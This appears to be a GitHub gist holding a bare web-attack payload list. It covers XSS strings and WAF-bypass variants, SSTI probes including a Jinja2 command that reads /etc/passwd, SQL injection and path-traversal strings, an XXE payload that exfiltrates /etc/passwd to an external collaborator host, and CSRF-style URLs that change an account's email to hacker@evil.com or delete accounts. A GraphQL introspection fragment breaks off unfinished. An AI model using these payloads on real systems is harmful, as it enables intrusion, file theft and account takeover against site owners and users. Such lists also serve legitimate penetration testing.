Skip to content

Instantly share code, notes, and snippets.

javascript:alert(1)
javascript:confirm(1)
javascript:prompt(1)
javascript:print()
javascript:top.alert(1)
javascript:self.alert(1)
javascript:parent.alert(1)
javascript:frames.alert(1)
javascript:globalThis.alert(1)
javascript:window.alert?.(1)
");alert(1);//
');alert(1);//
`);alert(1);//
";alert(1)//
';alert(1)//
`-alert(1)-`
" autofocus onfocus=alert(1) x="
' autofocus onfocus=alert(1) x='
data:text/html,alert(1)
data:text/javascript,alert(1)
# SSTI payloads (one per line)
# payload||expected_output
# Example confirm:
# {{7*7}}||49
#
# File-read confirm example:
# {{lipsum.__globals__['os'].popen('cat /etc/passwd').read()}}||root:x:0:0
# Safe math confirms
{{7*7}}||49
'
''
`
"
""
%
,
\
')
")
etc/passwd
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd
1. SQLI:
'
"
')
")
'))
"))
'--
"--
'#
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file%.h6ojcmzsjqtnjvjyv6als7vbl2rtfp3e.oastify.com/'>">
%eval;
##Rare Cases
*/</script><script>alert()/*
'href=javascript:alert()>click me<a/y='
"autofocus onclick=’&#97;lert()'
Akamai Tricks & Tips
* alert() => window['alert']()
* alert() => this['alert']()
* alert() => (alert)()
* alert() => eval(atob('YWxlcnQoKQ=='))
{
__type(name: "TableauUser") {
name
kind
fields {
name
type {
name
kind
ofType {
https://example.com/page?path=<img src="/change-email?new_email=hacker@evil.com">
https://example.com/page?path=<iframe src="/delete-account?confirm=true" style="display:none;">
fetch('/action?param=value', { credentials: 'include' });